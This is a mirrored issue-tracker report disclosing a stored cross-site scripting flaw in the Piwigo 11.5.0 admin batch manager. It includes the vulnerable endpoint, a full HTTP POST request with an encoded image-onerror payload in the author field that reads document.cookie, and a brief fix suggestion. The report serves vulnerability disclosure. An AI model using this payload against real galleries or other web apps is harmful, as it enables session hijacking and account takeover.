adam/Piwigo
1
0 Fork 0
mirror of https://github.com/Piwigo/Piwigo.git synced 2026-11-03 07:22:22 +01:00
Code Issues 657 Packages Projects Releases Wiki Activity

Persistent Cross Site Scripting in Batch Manager(version:11.5.0) #1288

New Issue
Open
opened 2026-10-05 00:38:52 +02:00 by adam · 0 comments
adam commented 2026-10-05 00:38:52 +02:00
Owner
Copy link
Copy source

Description:
In the single mode function of the Piwigo system, modifying the author parameter of the picture can cause persistent cross-site scripting
Vulnerable Instances:
/admin.php?page=batch_manager&mode=unit
image
affected source code file
image

request

POST /admin.php?page=batch_manager&mode=unit HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 152
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/admin.php?page=batch_manager&mode=unit
Cookie:  pwg_id=mof6jca30q9tr1qu48hhvqi143
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

element_ids=4&name-4=test&author-4=11111%3Cimg+src%3Dx+onerror%3Dalert%28document.cookie%29%3E11&date_creation-4=&level-4=0&description-4=&submit=Submit

image

suggestion
Restrict user input and output

**Description:** In the single mode function of the Piwigo system, modifying the author parameter of the picture can cause persistent cross-site scripting **Vulnerable Instances:** /admin.php?page=batch_manager&mode=unit ![image](https://user-images.githubusercontent.com/49687778/132269709-b5092ef5-eac5-4aa2-808d-ccc6df8dbbfc.png) **affected source code file** ![image](https://user-images.githubusercontent.com/49687778/132156810-58decaa0-52cf-4e74-a02a-cdd58e6de823.png) **request** ``` POST /admin.php?page=batch_manager&mode=unit HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 152 Origin: http://127.0.0.1 Connection: close Referer: http://127.0.0.1/admin.php?page=batch_manager&mode=unit Cookie: pwg_id=mof6jca30q9tr1qu48hhvqi143 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 element_ids=4&name-4=test&author-4=11111%3Cimg+src%3Dx+onerror%3Dalert%28document.cookie%29%3E11&date_creation-4=&level-4=0&description-4=&submit=Submit ``` ![image](https://user-images.githubusercontent.com/49687778/132154568-3ca82632-6ac5-4200-89a6-db84651159ed.png) **suggestion** Restrict user input and output <!-- github-sync-id:988691714 -->
Sign in to join this conversation.
No Branch/Tag Specified
Labels
No items
No labels
Milestone
No items
No Milestone
Projects
Clear projects
No projects
Assignees
Clear assignees
adam (Adam Wojcieszonek)
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: adam/Piwigo#1288